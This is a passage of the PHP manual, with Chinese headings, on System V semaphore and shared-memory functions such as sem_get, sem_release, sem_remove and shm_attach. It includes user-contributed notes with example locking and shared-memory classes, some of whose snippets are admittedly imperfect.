... 486     token new value: false
... 486 release token semaphore
... 486 the end
-------(second instance)----------------------------------------
... 485 begin try_lock()
... 485 acquire token semaphore
... 485     token semaphore acquired
... 485     token value: true
... 485 release token semaphore
... 485 failed to acquire resource
... 485 wait for 1 sec
...
... 486 wait for 1 sec
... 487 try again
... 487 begin try_lock()
... 487 acquire token semaphore
... 487     token semaphore acquired
... 487     token value: false
... 487     token new value: true
... 487 release token semaphore
... 487 acquire resource semaphore
... 487     resource semaphore acquired
... 487     access the resource for 4 sec
... 491 release resource semaphore
... 491 acquire token semaphore
... 491     token semaphore acquired
... 491     token value: true
... 491     token new value: false
... 491 release token semaphore
... 491 the end
anatoliy at ukhvanovy dot name 06-Feb-2015 05:33
Unfortunately, PHP does not currently support non-blocking semaphores.

If something like this is necessary you can utilize semaphores together with shared memory to create your own non-blocking lock mechanisms.

Use a shared memory variable to mark whether or not a lock exists and then use a semaphore around operations against that variable.
Sander Backus 04-Nov-2013 09:01
Note that when you reset $sem_identifier the semaphore won't block anymore!

This code does NOT work:
    $key     = ftok(__FILE__,'m');
    $a        = sem_get($key);
    sem_acquire($a);
    $a = false;

while this one does:

    $key     = ftok(__FILE__,'m');
    $a        = sem_get($key);
    sem_acquire($a);
    //$a = false;

So: use unique var names for your identifier!
Pinky 13-Feb-2012 08:29
sem_acquire() is blocking, meaning that subsequent calls with the same semaphore will block indefinitely until the semaphore is released. This ensures serialization, but it is not very practical if all you want to do is check if you should proceed or not. Unfortunately, PHP does not yet support any method of querying the state of a semaphore in a non-blocking manner.

It may seem possible to put together such a mechanism by hand, using shared memory (shm_ functions). However, be warned that it is not trivial and ultimately non-productive. You cannot, for example, simply pick a shared mem var, store the semaphore key and query it. Such an operation would be non-transactional and non-atomic ie. it is possible for two or more parallel processes to manage to read "not locked" from the shared mem var before one of them manages to mark it "locked". You would have to use a (blocking) semaphore to serialize access to the shared mem var, thus recreating the very problem you are trying to solve.

In other words, if non-blocking queries are crucial to you, you need to either request that this issue be solved by the PHP designers, or pick another mechanism to do your locking, one that already has this feature.
arjuna w 28-Jan-2012 01:14
In my tests sem_acquire() is 150 times faster than flock()
gladd at trash dot eris dot qinetiq dot com 13-Apr-2004 02:02
Just to clarify what is meant by "process" above:

On the Apache webserver, many PHP requests will be executed within the same process space because it is multithreaded. However, any semaphores got and acquired by a script and not released and removed will still be automatically cleaned up by the PHP interpreter each time the script terminates.

Remove any trash before emailing!


Get a semaphore id

  • ? sem_acquire
  • sem_release ?
  • PHP Manual
  • Semaphore 函数
  • Get a semaphore id

sem_get

(PHP 4, PHP 5, PHP 7, PHP 8)

sem_get — Get a semaphore id

说明

sem_get(
int $key,
int $max_acquire = 1,
int $permissions = 0666,
bool $auto_release = true
): SysvSemaphore|false

sem_get() returns an id that can be used to access the System V semaphore with the given key.

A second call to sem_get() for the same key will return a different semaphore identifier, but both identifiers access the same underlying semaphore.

If key is 0, a new private semaphore is created for each call to sem_get().

参数

key

max_acquire

The number of processes that can acquire the semaphore simultaneously is set to max_acquire.

permissions

The semaphore permissions. Actually this value is set only if the process finds it is the only process currently attached to the semaphore.

auto_release

Specifies if the semaphore should be automatically released on request shutdown.

返回值

Returns a positive semaphore identifier on success, or false on error.

更新日志

版本 | 说明
8.0.0 | On success, this function returns a SysvSemaphore instance now; previously, a resource was returned.
8.0.0 | The type of auto_release has been changed from int to bool.

注释

Warning

When using sem_get() to access a semaphore created outside PHP, note that the semaphore must have been created as a set of 3 semaphores (for example, by specifying 3 as the nsems parameter when calling the C semget() function), otherwise PHP will be unable to access the semaphore.

参见

  • sem_acquire() - Acquire a semaphore
  • sem_release() - Release a semaphore
  • ftok() - Convert a pathname and a project identifier to a System V IPC key

User Contributed Notes

Dan East 09-Feb-2021 01:42
Note that the default permissions parameter is octal!  Thus the default of 0666 is NOT the same as 666, or 0x666.

If you specify the permission as decimal 666 then you end up with permissions that prevent the semaphore from being read.  The symptom is that you can only sem_get it once, and subsequent sem_get will fail (until you ipcrm or sem_remove it and delete it entirely).

Thus these are all equivalent to the default:
sem_get ( 123, 1, 0666)
sem_get ( 123, 1, 438)
sem_get ( 123, 1, 0x1b6)

Most PHP developers (myself included) work with octal numbers so infrequently that the number 0666 can easily be mistaken as 666 or maybe 0x666.
kakkau at grr dot la 04-Apr-2016 09:19
It is possible to create an "infinite" amount of semaphores when setting $key = 0.

Run sem_get multiple times
php > sem_get(0,0);

and check the output of
$ ipcs -s

------ Semaphore Arrays --------
key        semid      owner      perms      nsems
0x00000000 1277952    user       666        3
0x00000000 1310721    user       666        3

As you can see there were multiple semaphores set up with key 0.
For any other integer sem_get works as expected. It returns another resource id pointing to the semaphore previously created and does not create another semaphore.
kakkau at grr dot la 20-Oct-2015 09:35
For those that encounter strange behavior in using sem_acquire() on resources generated by sem_get(). Have a look at  sem_get()'s 4th parameter auto_release. It allows multiple acquisitions through reassignments to resource variables.

./multi.acquire.php
<?php
class Sem {
  private $key = null;
  private $res = null;
  public function __construct() {
    $this->key = ftok(".",".");
    $this->set_res();
    $this->acquire();
  }
  public function set_res() {
    // 4th parameter auto_released is 1 by default
    $this->res = sem_get($this->key, 1, 0600, 1);
  }
  public function acquire() {
    echo "acquired='".sem_acquire($this->res,true)."'\n";
  }
}

$s = new Sem();
$s->set_res();
$s->acquire();

?>

$ php multi.acquire.php
acquired='1'
acquired='1'

To avoid reacquiring by default set sem_get()'s parameter auto_release to 0 or check if your resource variable is already set, e.g. by using is_null().
Michael Z. 25-Aug-2011 06:37
Watch out when you use fileinode() to get a unique semaphore key (as suggested in some comment on this or a related function) in conjunction with version control software: It seems, for example, SVN will change the inode. Using such a file will leave you with your mutex not working reliably and your system's semaphore pool being filled until further attempts to get a semaphore will fail. Use ipcs and ipcrm commands from linux-util-ng (on most distros probably) to examine/fix related problems.
soger 28-Mar-2011 08:20
Actually it looks like the semaphore is automatically released not on request shutdown but when the variable you store it's resource ID is freed. That is a very big difference.
cyrus dot drive at gmail dot com 01-May-2008 05:51
Implementation of a read-write semaphore in PHP:

<?php
class rw_semaphore {

    const READ_ACCESS = 0;
    const WRITE_ACCESS = 1;

    /**
     * @access private
     * @var resource - mutex semaphore
     */
    private $mutex;

    /**
     * @access private
     * @var resource - read/write semaphore
     */
    private $resource;

    /**
     * @access private
     * @var int
     */
    private $writers = 0;

    /**
     * @access private
     * @var int
     */
    private $readers = 0;

    /**
     * Default constructor
     *
     * Initialize the read/write semaphore
     */
    public function __construct() {
        $mutex_key = ftok('/home/cyrus/development/php/sysvipc/rw_semaphore.php', 'm');
        $resource_key = ftok('/home/cyrus/development/php/sysvipc/rw_semaphore.php', 'r');
        $this->mutex = sem_get($mutex_key, 1);
        $this->resource = sem_get($resource_key, 1);
    }

    /**
     * Destructor
     *
     * Remove the read/write semaphore
     */
    public function __destruct() {
        sem_remove($this->mutex);
        sem_remove($this->resource);
    }

    /**
     * Request acess to the resource
     *
     * @param int $mode
     * @return void
     */
    private function request_access($access_type = self::READ_ACCESS) {
        if ($access_type == self::WRITE_ACCESS) {
            sem_acquire($this->mutex);

            /* update the writers counter */
            $this->writers++;

            sem_release($this->mutex);
            sem_acquire($this->resource);
        } else {
            sem_acquire($this->mutex);
            if ($this->writers > 0 || $this->readers == 0) {
                sem_release($this->mutex);
                sem_acquire($this->resource);
                sem_acquire($this->mutex);
            }
            /* update the readers counter */
            $this->readers++;

            sem_release($this->mutex);
        }
    }

    private function request_release($access_type = self::READ_ACCESS) {
        if ($access_type == self::WRITE_ACCESS) {
            sem_acquire($this->mutex);

            /* update the writers counter */
            $this->writers--;

            sem_release($this->mutex);
            sem_release($this->resource);
        } else {
            sem_acquire($this->mutex);

            /* update the readers counter */
            $this->readers--;

            if ($this->readers == 0)
                sem_release($this->resource);

            sem_release($this->mutex);
        }
    }

    /**
     * Request read access to the resource
     *
     * @return void
     */
    public function read_access() { $this->request_access(self::READ_ACCESS); }

    /**
     * Release read access to the resource
     *
     * @return void
     */
    public function read_release() { $this->request_release(self::READ_ACCESS); }

    /**
     * Request write access to the resource
     *
     * @return void
     */
    public function write_access() { $this->request_access(self::WRITE_ACCESS); }

    /**
     * Release write access to the resource
     *
     * @return void
     */
    public function write_release() { $this->request_release(self::WRITE_ACCESS); }

}
?>
ein at anti-logic dot com 26-Jun-2007 04:21
Be aware that there is no way to ensure that you have exclusive access to a lock, despite setting max_acquire=1.

In example,
<?
$fp = sem_get(fileinode('lock_file', 100);
sem_acquire($fp);

$fp2 = sem_get(fileinode('lock_file', 1);
sem_acquire($fp2);
?>

This will not block on the second sem_aquire.  Therefore, if you have functions or processes that utilize shared locks (>1 max_acquire) you will still need to provide a seperate lock mechanism (ie flock) for write access, making the sem_ functions useless.

Some more info, in flock, each reference to the lock file has it's own options (can be shared exclusive blocking non blocking etc), but apparently php's sem functions only support these options per semaphore, not per semaphore-reference.
neofutur 28-Aug-2006 12:49
with gentoo php5 you will need to add the USE flag :
sysvipc

see :
 http://forums.gentoo.org/viewtopic-t-464175-highlight-semget+php.html

and also :
 http://overlays.gentoo.org/proj/php/
joeldg AT listbid.com 02-May-2003 11:39
Heh, actually the above comment I added is not technically correct, it was more of an idea to display the function.

$SHM_KEY = ftok("/home/joeldg/homeymail/shmtest.php", 'R');
$shmid = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$data = shm_attach($shmid, 1024);
// we now have our shm segment

// lets place a variable in there
shm_put_var ($data, $inmem, "test");
// now lets get it back. we could be in a forked process and still have
// access to this variable.
printf("shared contents: %s\n", shm_get_var($data, $inmem));

shm_detach($data);
joeldg at listbid.com 02-May-2003 12:36
<?
// thanks to
// http://www.ecst.csuchico.edu/~beej/guide/ipc/shmem.html
$SHM_KEY = ftok("/home/joeldg/homeymail/shmtest.php", 'R');
$shmid = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$data = shm_attach($shmid, 1024);

$data = "test";
printf("shared contents: %s\n", $data);

shm_detach($data);
?>


Release a semaphore

  • ? sem_get
  • sem_remove ?
  • PHP Manual
  • Semaphore 函数
  • Release a semaphore

sem_release

(PHP 4, PHP 5, PHP 7, PHP 8)

sem_release — Release a semaphore

说明

sem_release(SysvSemaphore $semaphore): bool

sem_release() releases the semaphore if it is currently acquired by the calling process, otherwise a warning is generated.

After releasing the semaphore, sem_acquire() may be called to re-acquire it.

参数

semaphore

A Semaphore as returned by sem_get().

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | semaphore expects a SysvSemaphore instance now; previously, a resource was expected.

参见

  • sem_get() - Get a semaphore id
  • sem_acquire() - Acquire a semaphore

User Contributed Notes

danno at circumsolutions dot com 01-Apr-2001 02:44
If you want to implement this sort of semaphore access (which is usually what is needed if doing ipc) one thing you can do is create shared memory which is simply an int. Use this int between processes as the value of the semaphore.  You can write wrapper functions which use this to allow you to do the desired readers-writers stuff or just use the shared memory plain.  I wouldn't be too worried about race conditions in this case as the shared memory is only an int.  If you are worried about race conditions, the wrapper functions for doing the semaphore stuff could actually use a semaphore to elimate any race conditions.  Also, an added bonus of doing it this way is you can check the value of the int.
apua at communiplex dot com 08-Dec-1999 08:54
The fact that sem_release only resease the semaphore if it is currently acquired by the calling process is, in fact, a misfeature since sometimes (eg in a readers-writers implementation) it is desirable to release a semaphore acquired by another process. In C you can do that.
I'm telling this because I was trying to write a chat app in php3 made of two programs: a listener and a speaker. The speaker releases a semaphore to inform that there is a new message in a shared memory var. And listeners wait in that semaphore before outputting the message.


Remove a semaphore

  • ? sem_release
  • shm_attach ?
  • PHP Manual
  • Semaphore 函数
  • Remove a semaphore

sem_remove

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

sem_remove — Remove a semaphore

说明

sem_remove(SysvSemaphore $semaphore): bool

sem_remove() removes the given semaphore.

After removing the semaphore, it is no longer accessible.

参数

semaphore

A semaphore as returned by sem_get().

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | semaphore expects a SysvSemaphore instance now; previously, a resource was expected.

参见

  • sem_get() - Get a semaphore id
  • sem_release() - Release a semaphore
  • sem_acquire() - Acquire a semaphore

User Contributed Notes

donotcallme at iwillcallyou dot com 28-Oct-2013 05:10
sem_remove() shouldn't be part of a normal cleanup/teardown and should be called very rarely due to bugs in the implementation.

It doesn't seem to hurt to leave semaphores lying around and is likely to be more performance-friendly to do so.  If you are concerned about having too many semaphores floating around for an application (e.g. a file cache that uses ftok()), you can use some modulus arithmetic and simple addition to create a limited range of values for your semaphores off in the middle of nowhere.  For example, ftok() % 101 + 0xBADBEEF.  Be sure to replace 0xBADBEEF with your own random value.  The example limits the range to 101 semaphores.  101 is a prime number - so if you want more or less, be sure to replace it with a prime number since primes theoretically help distribute values more evenly.


Creates or open a shared memory segment

  • ? sem_remove
  • shm_detach ?
  • PHP Manual
  • Semaphore 函数
  • Creates or open a shared memory segment

shm_attach

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_attach — Creates or open a shared memory segment

说明

shm_attach(int $key, ?int $size = null, int $permissions = 0666): SysvSharedMemory|false

shm_attach() returns an id that can be used to access the System V shared memory with the given key, the first call creates the shared memory segment with size and the optional perm-bits permissions.

A second call to shm_attach() for the same key will return a different SysvSharedMemory instance, but both instances access the same underlying shared memory. size and permissions will be ignored.

参数

key

A numeric shared memory segment ID

size

The memory size. If not provided, default to the sysvshm.init_mem in the php.ini, otherwise 10000 bytes.

permissions

The optional permission bits. Default to 0666.

返回值

Returns a SysvSharedMemory instance on success, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | On success, this function returns an SysvSharedMemory instance now; previously, a resource was returned.
8.0.0 | size is nullable now.

参见

  • shm_detach() - Disconnects from shared memory segment
  • ftok() - Convert a pathname and a project identifier to a System V IPC key

User Contributed Notes

bobhairgrove 13-Feb-2018 07:40
Under the "Notes" section, it is stated that one can cast the resource ID returned by shm_attach() to an integer as of PHP 5.3.0; however, this will NOT be the same integer as the shmid value which is returned from the native SysV function shmget() on Linux (as I was hoping it might be). The integer returned by casting is merely the ID number of the resource, which is totally useless outside of the context of these functions, AFAICT.

To verify this, one can allocate a memory block with shm_attach() (or shmop_open()), print out the resource returned and compare it to the value in the "shmid" column when running "ipcs" in a terminal on Linux (or some other *nix OS).
novayear # hotmail ; com 21-Apr-2014 08:13
small shm class..
example usage:
$shx= new shmSmart;
$shx->put("key_name_apple","key_val_peach"); //set example..
$shx->put("key name alternative array",array(1=>"banana","apricot","blablabla"=>array("new-blaala"))); //set array example..
echo  $shx->get("key_name_apple"); // get example key value.
$shx->del("key_name_apple"); // delete key
unset($shx); // free memory in php..

class shmSmart{
  public $shm;            //holds shared memory resource
  public function __construct(){
    if(function_exists("shm_attach")===FALSE){
      die("\nYour PHP configuration needs adjustment. See: http://us2.php.net/manual/en/shmop.setup.php. To enable the System V shared memory support compile PHP with the option --enable-sysvshm.");
    }
    $this->attach();    //create resources (shared memory)
  }
  public function attach(){
    $this->shm=shm_attach(0x701da13b,33554432);    //allocate shared memory
  }
  public function dettach(){
    return shm_detach($this->shm);    //allocate shared memory
  }
  public function remove(){
    return shm_remove($this->shm);    //dallocate shared memory
  }
  public function put($key,$var) {
    return shm_put_var($this->shm,$this->shm_key($key),$var);    //store var
  }
  public function get($key){
    if($this->has($key)){
      return shm_get_var($this->shm,$this->shm_key($key));  //get var
    }else{
      return false;
    }
  }
  public function del($key){
    if($this->has($key)){
      return shm_remove_var($this->shm,$this->shm_key($key)); // delete var
    }else{
      return false;
    }
  }
  public function has($key){
    if(shm_has_var($this->shm,$this->shm_key($key))){ // check is isset
      return true;
    }else{
      return false;
    }
  }
  public function shm_key($val){ // enable all world langs and chars !
    return preg_replace("/[^0-9]/","",(preg_replace("/[^0-9]/","",md5($val))/35676248)/619876); // text to number system.
  }
  public function __wakeup() {
    $this->attach();
  }
  public function __destruct() {
    $this->dettach();
    unset($this);
  }
}
Daniel Knecht 27-Mar-2014 11:30
If you get an error like "PHP Warning:  shm_attach(): failed for key 0x61040bb5: Cannot allocate memory" then you might need to tweak your shared memory configuration.

To see your system values, enter "sysctl kern.sysv."
Important values are kern.sysv.shmmax and kern.sysv.shmall:
* kern.sysv.shmmax is the max number of bytes one shared memory segment may have
* kern.sysv.shmall is the max number of memory pages all shared memory segments together can consume
One memory page is 4096 bytes, meaning that if you set kern.sysv.shmmax to 1073741824 (1GB) then kern.sysv.shmall must be at least 262144 to be able to allocate a one GB memory segment (since 262144 * 4096 = 1073741824).

tl;dr The default values on some systems are very low and then it is not enough to only increase kern.sysv.shmmax - also kern.sysv.shmall needs to be increased accordingly!
info at tristat dot org 15-Oct-2011 05:07
You might expect the SHM functions to be significantly faster than building variables from MySQL operations. Unfortunately this is not the case regarding large multidimensional arrays. I've tested write, read, update and delete operations with with a two dimensional associative array directly with SHM and in comparison with a class using MySQL and a class using SHMOP functions (with mostly offset-accurate serialization). Both classes generated the same array as stored with SHM. Unlike SHMOP the performance of SHM decreases considerably with larger arrays. At 2000 instructions with an $array[$row][$key] of 200 rows and 5 keys even MySql is faster than SHM.This might be due to the fact, that SHM deals with any kind of arrays and makes internal use the PHPs powerful serialize() function.
nathanbruer at gmail dot com 05-Apr-2011 01:21
I was playing around with these functions and made a class in the process. This will of course be slower than accessing a variable locally, but gives the ability to store variables in a shared environment and gives many running scripts the understanding that it should access them from the shared area. This should also auto destroy the shared memory area once no more scripts have a link to the data (when all scripts use this class).

<?php
class SharedMemory{
    private $nameToKey = array();
    private $key;
    private $id;
    function __construct($key = null){
        if($key === null){
            $tmp = tempnam('/tmp', 'PHP');
            $this->key = ftok($tmp, 'a');
            $this->id = shm_attach($this->key);
            $this->nameToKey[] = '';
            $this->nameToKey[] = '';
            $this->updateMemoryVarList();
            shm_put_var($this->id, 1, 1);
        }else{
            $this->key = $key;
            $this->id = sem_get($this->key);
            $this->refreshMemoryVarList();
            shm_put_var($this->id, 1, shm_get_var($this->id, 1) + 1);
        }
        if(!$this->id)
            die('Unable to create shared memory segment');
    }
    function __sleep(){
        shm_detach($this->id);
    }
    function __destruct(){
        if(shm_get_var($this->id, 1) == 1){
            // I am the last listener so kill shared memory space
            $this->remove();
        }else{
            shm_detach($this->id);
            shm_put_var($this->id, 1, shm_get_var($this->id, 1) - 1);
        }
    }
    function __wakeup(){
        $this->id = sem_get($this->key);
        shm_attach($this->id);
        $this->refreshMemoryVarList();
        shm_put_var($this->id, 1, shm_get_var($this->id, 1) + 1);
    }
    function getKey(){
        return $this->key;
    }
    function remove(){
        shm_remove($this->id);
    }
    function refreshMemoryVarList(){
        $this->nameToKey = shm_get_var($this->id, 0);
    }
    function updateMemoryVarList(){
        shm_put_var($this->id, 0, $this->nameToKey);
    }
    function __get($var){
        if(!in_array($var, $this->nameToKey)){
            $this->refreshMemoryVarList();
        }
        return shm_get_var($this->id, array_search($var, $this->nameToKey));
    }
    function __set($var, $val){
        if(!in_array($var, $this->nameToKey)){
            $this->refreshMemoryVarList();
            $this->nameToKey[] = $var;
            $this->updateMemoryVarList();
        }
        shm_put_var($this->id, array_search($var, $this->nameToKey), $val);
    }
}

// Example
$sharedMem = new SharedMemory();
$pid = pcntl_fork();
if($pid){
    //parent
    sleep(1);
    echo "Parent Says: " . $sharedMem->a . "\n";
    echo "Parent Changed to 0\n";
    $sharedMem->a = 0;
    //Parent just changed it to 0
    echo "Parent Says: " . $sharedMem->a . "\n";
    sleep(2);
    // Parent think's it's 0, but child has changed it to 1
    echo "Parent Says: " . $sharedMem->a . "\n";
}else{
    //child
    $sharedMem->a = 2;
    echo "Child Changed to 2\n";
    // Should be 2 as child just set it to 2
    echo "Child Says: " . $sharedMem->a . "\n";
    sleep(2);
    // Child think's it's 2, but the parent set it to 0.
    echo "Child Says: " . $sharedMem->a . "\n";
    echo "Child Added 1\n";
    $sharedMem->a++;
    echo "Child Says: " . $sharedMem->a . "\n";
}
?>
somepay at gmail dot com 05-Aug-2010 03:07
In my log I have found string
"shm_attach(): failed for key 0x366f: No space left on device"
But have not found any suggestion for this at php.net and at google.

So question was how to make free memory used by shm_attach .
At first to view (Linux)  how many segments allocated, use
:~# ipcs -mu
then
limits
:~# ipcs -ml

to remove segment use:
:~# ipcrm -m [shmid]

otherwise you can reboot server, or launch sh script based on commands above.

To avoid troubles with "No space left on device" ALWAYS use
shm_remove() & shm_detach() after call shm_attach().
pail dot luo at gmail dot com 26-Feb-2009 06:43
A simple Sample to introduce SHM.

<?php
if ( sizeof($argv)<2 ) {
        echo "Usage: $argv[0] send|recv|rem|dele ID [msg] \n\n" ;
        echo "   EX: $argv[0] send 1 \"This is no 1\" \n" ;
        echo "       $argv[0] recv 1 \n" ;
        echo "       $argv[0] rem 1 \n" ;
        echo "       $argv[0] dele \n" ;
        exit;
}

// $SHMKey = ftok(__FILE__, "Z");
$SHMKey = "123456" ;

## Create/Open a shm
$seg = shm_attach( $SHMKey, 1024, 0666 ) ;

switch ( $argv[1] ) {
    case "send":
        shm_put_var($seg, $argv[2], $argv[3]);
        echo "send msg done...\n" ;
        break;

    case "recv":
        $data = shm_get_var($seg, $argv[2]);
        echo $data . "\n" ;
        break;

    case "rem":
        shm_remove_var($seg, $argv[2]);
        break;

    case "dele":
        shm_remove($seg);
        break;

    case "dele2":
        `/usr/bin/ipcrm -M 123456`;
        break;
}
?>
nkatz at yahooo dot com 18-Sep-2008 05:31
Responding to jpeter1978 at yahoo dot com ... Assuming a character is typically two bytes, the size of a serialized variable (incl array or obj) is 2 * its strlen().  The 44 is 4 more than the 24 + 16 = 40 suggested by php at cytrax dot de plus 4 bytes for worst case 4-byte alignment.  So this is probably a reliable formula if you are too lazy to align it using something similar to zeppelinux at comcast dot net as in:

($strlen($serialized_array_or_obj) /4 ) * 4 ) + 40;

The zeppelinux formula would use 20 (for 4-byte integer cpu) or 36 (for 64-bit or 8-byte cpu) for the ending constant so 40 or 44 is probably just achieving header padding but it certainly can't hurt.
zeppelinux at comcast dot net 14-Aug-2008 12:19
<?php

//how to calculate the  minimum $memsize required to store the variable $foo where $foo='foobar'.

// when shm_attach() is called for the first time, PHP writes a header to the beginning of the shared memory.
$shmHeaderSize = (PHP_INT_SIZE * 4) + 8;

// when shm_put_var() is called, the variable is serialized and a small header is placed in front of it before it is written to shared memory.
$shmVarSize = (((strlen(serialize($foo))+ (4 * PHP_INT_SIZE)) /4 ) * 4 ) + 4;

// now add the two together to get the total memory required. Of course, if you are storing more than one variable then you dont need to add $shmHeaderSize for each variable, only add it once.
$memsize = $shmHeaderSize + $shmVarSize;

//this will give you just enough memory to store the one variable using shm_put_var().
$shm_id = shm_attach ( $key, $memsize, 0666 ) ;
shm_put_var  ( $shm_id  , $variable_key  , $foo  );

any attempt to store another variable will result in a 'not enough memory' error.
Be aware that if you change the contents of $foo to a larger value and then you try to write it to shared memory again using shm_put_var(), then you will get a 'not enough memory' error. In this case, you will have to resize your shared memory segment and then write the new value.

If you are only storing variables that contain a single integer value, then you can avoid having to resize by always allocating the largest amount of memory that is required to store an int, which should be:
$shmIntVarSize = (((strlen(serialize(PHP_INT_MAX))+ (4 * PHP_INT_SIZE)) /4 ) * 4 ) + 4;

?>
hetii at poczta dot onet dot pl 11-Jan-2008 05:18
Hi :)
I write small class for build bright message between my application.

<?
class Bright_Message
{

var $bright;
var $SHM_KEY;
var $my_pid;

        function Bright_Message($SHM_KEY=null)
        {
                $this->my_pid = getmypid();//Get own pid
                if (is_null($SHM_KEY)) $this->SHM_KEY = '123123123';
                $this->bright = shm_attach($this->SHM_KEY, 1024, 0666);
                $this->one_instance();
        }

        function get_msg($id,$remove=true)
        {
                if(@$msg=shm_get_var($this->bright,$id))
                {
                   if ($remove) @shm_remove_var($this->bright,$id);
                   return $msg;
                } else return false;
        }

        function snd_msg($id,$msg)
        {
                @shm_put_var($this->bright,$id,$msg);
                return true;
        }

        function one_instance()
        {
                $SHM_PID = $this->get_msg(1,false);
                if((strpos(exec('ps p'.$SHM_PID),$_SERVER['SCRIPT_FILENAME'])) === false)
                $this->snd_msg(1,$this->my_pid); else
                {
                        echo "This program exists on pid: $SHM_PID\r\n\r\n";
                        exit;
                }
        }

}
?>

send.php:
<?
include "bridge_message.class.php";
$shm = new Bright_Message();
$shm->snd_msg(2,'this is my simple message');
?>

receive.php:
<?
include "bridge_message.class.php";
$shm = new Bright_Message();
$msg = get_msg(2);
echo print_r($msg,1);
?>
jpeter1978 at yahoo dot com 03-Aug-2007 03:35
I tried all the suggestions above for getting the object size (in bytes) for $memsize, but they didn't work universally for the two types of objects I tried (string and array of strings).

After doing some googling and experimenting, I've found the following magic formula:

$memsize = ( strlen( serialize( $object ) ) + 44 ) * 2;

I found this in someone else's code, so I can't explain it.
Uther Pendragon 08-Mar-2007 09:08
As a follow-up to my last post regarding shm_attach and its limit capability for knowing how it was created....

for more control, use the shmop_* series of functions, as they have finer grained control than these.

and by the way:  the SHMOP functions SHOULD BE listed under "see also" for all the SHM* wrapper functions (I assume they are wrappers to the SHMOP* functions).
Uther Pendragon 24-Jan-2007 08:26
Since there aren't seperate functions for CREATING and ATTACHING shared memory (a mistake in my opinion), you might want to do some testing to check whether you've created it or not, as you may not want the slave of a master/slave pair to ever create the shared memory.

One way you can test this is by having your slave set the size to something small, then testing the size by putting a variable too large to fit, e.g.:

function get_shmem() {
     return shm_attach(ftok('somefile.txt', 'T'), 100, 0644);
}

$shm = get_shmem();

while (!@shm_put_var($shm, 1, str_repeat('.....', 20))) {
     shm_remove($shm);
     sleep(1);
     //we created it, so we'll remove it and sleep to wait for the master to create it, then try again.
     $shm = get_shmem();
}
shm_remove_var($shm, 1);
//here we know the shared memory was already created, because we could put a variable in bigger than the size requested.

Another way you can handle it is to have all programs initialize the shared memory with the same parameters... I had a problem with this when my clients starting too fast and created the shmem without passing a memsize value, so it was defaulting to 10k which was too small.
Katzenmeier 04-Nov-2006 03:36
The limit for one SHM block seems to be 32 MB, but you can split your data in several SHM blocks if you need to. The total SHM limit seems to be about 8 GB.

I'm not sure whether this is true for all configurations.
muytoloco at yahoo dot com dot br 23-Feb-2006 09:33
If one process make a shm_attach to one inexistent memory area, this area will be created under the same priviliegies of the script running user. If another process will try to create or acces the same area, runnig by other user with different privileges of the first user, an error will occur.
rch at todo dot com dot uy 28-Mar-2005 04:17
Cecil, the key of a var is an integer (not the name ). You can put multiples vars in the same share.

#!/usr/local/bin/php -q
<?PHP

$SHM_KEY = ftok(__FILE__, chr( 4 ) );

$data =  shm_attach($SHM_KEY, 1024, 0666);

$test1 = array("hello","world","1","2","3");
$test2 = array("hello","world","4","5","6");
$test3 = array("hello","world","7","8","9");

shm_put_var($data, 1, $test1);
shm_put_var($data, 2,$test2);
shm_put_var($data, 3,$test3);

print_r(shm_get_var($data, 1));
print_r(shm_get_var($data, 2));
print_r(shm_get_var($data, 3));

shm_detach($data);
?>
andreyKEINSPAM at php dot net 24-Apr-2004 09:31
As far as I see from the sources of ext/sysvshm, it's not needed to  do  arithmetic (bit) OR (|) of "perm" with  IPC_CREAT (and IPC_EXCL). The extension will do it for you. It tries to attach to the memory segment and if the try did not succeed it tries to attach but with flags set to user_flag | IPC_CREAT | IPC_EXCL.
The exact code (shm_flag is the third param to the function) :
if ((shm_id = shmget(shm_key, 0, 0)) < 0) {
      if (shm_size < sizeof(sysvshm_chunk_head)) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "failed for key 0x%x: memorysize too small", shm_key);
            efree(shm_list_ptr);
            RETURN_FALSE;
      }
      if ((shm_id = shmget(shm_key, shm_size, shm_flag | IPC_CREAT | IPC_EXCL)) < 0) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "failed for key 0x%x: %s", shm_key, strerror(errno));
             efree(shm_list_ptr);
             RETURN_FALSE;
     }
}
Cecil 18-Mar-2004 12:37
Here is an example of how to use one shared memory block to store multiple variables or arrays.. unfortunetly in order to store more than ONE variable, you have to use sem_get() multiple times.. same goes for shm_attach(), shm_put_var() and shm_get_var()

#!/usr/local/bin/php -q
<?PHP
// test.php

$SHM_KEY = ftok(__FILE__,'A');

$shmid  = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid2 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid3 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);

$data =  shm_attach($shmid, 1024);
$data2 = shm_attach($shmid2, 1024);
$data3 = shm_attach($shmid3, 1024);

$test = array("hello","world","1","2","3");
$test2 = array("hello","world","4","5","6");
$test3 = array("hello","world","7","8","9");

shm_put_var($data,$inmem,$test);
shm_put_var($data2,$inmem2,$test2);
shm_put_var($data3,$inmem3,$test3);

print_r(shm_get_var($data,$inmem));
print_r(shm_get_var($data2,$inmem2));
print_r(shm_get_var($data3,$inmem3));

shm_detach($data);
shm_detach($data2);
shm_detach($data2);
?>

to REALLY test it.. create a second script like so and run it..

#!/usr/local/bin/php -q
<?PHP
// test2.php

$SHM_KEY = ftok(__FILE__,'A');

$shmid  = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid2 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid3 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);

$data =  shm_attach($shmid, 1024);
$data2 = shm_attach($shmid2, 1024);
$data3 = shm_attach($shmid3, 1024);

print_r(shm_get_var($data,$inmem));
print_r(shm_get_var($data2,$inmem2));
print_r(shm_get_var($data3,$inmem3));

shm_detach($data);
shm_detach($data2);
shm_detach($data2);
?>

As you can see, test2.php doesn't insert anything into shared memory.. yet it pulls out 3 totally different arrays already stored..

Hope that helps.. took me a bit to get it right.. everyone seems to have their own idea of how shm should be used. lol.

